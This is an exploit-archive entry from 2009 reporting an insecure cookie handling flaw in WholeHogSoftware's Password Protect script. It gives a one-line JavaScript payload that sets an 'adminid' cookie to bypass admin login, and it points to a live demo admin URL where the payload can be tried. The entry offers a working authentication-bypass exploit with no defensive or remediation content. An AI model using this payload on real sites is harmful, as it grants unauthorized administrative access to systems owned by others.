[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : WholeHogSoftware Password Protect Insecure Cookie Handling Vuln
# Published : 2009-02-03
# Author : Stack
# Previous Title : WholeHogSoftware Ware Support Insecure Cookie Handling Vulnerability
# Next Title : ClickCart 6.0 (Auth Bypass) Remote SQL Injection Vulnerability
###########################################################################
[+] WholeHogSoftware Password Protect Insecure Cookie Handling Vulnerability
[+] Script :Password Protect
[+] Site :http://wholehogsoftware.com
[+] Detay :http://www.wholehogsoftware.com/index.php/page/password_protect_enhanced
[+] Discovered By Mountassif Moad
[+] www.v4-team.com
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "adminid=8; path=/";
DeMo :
http://www.wholehogsoftware.com/demo/password_protect_enhanced/admin
# www.Syue.com [2009-02-03]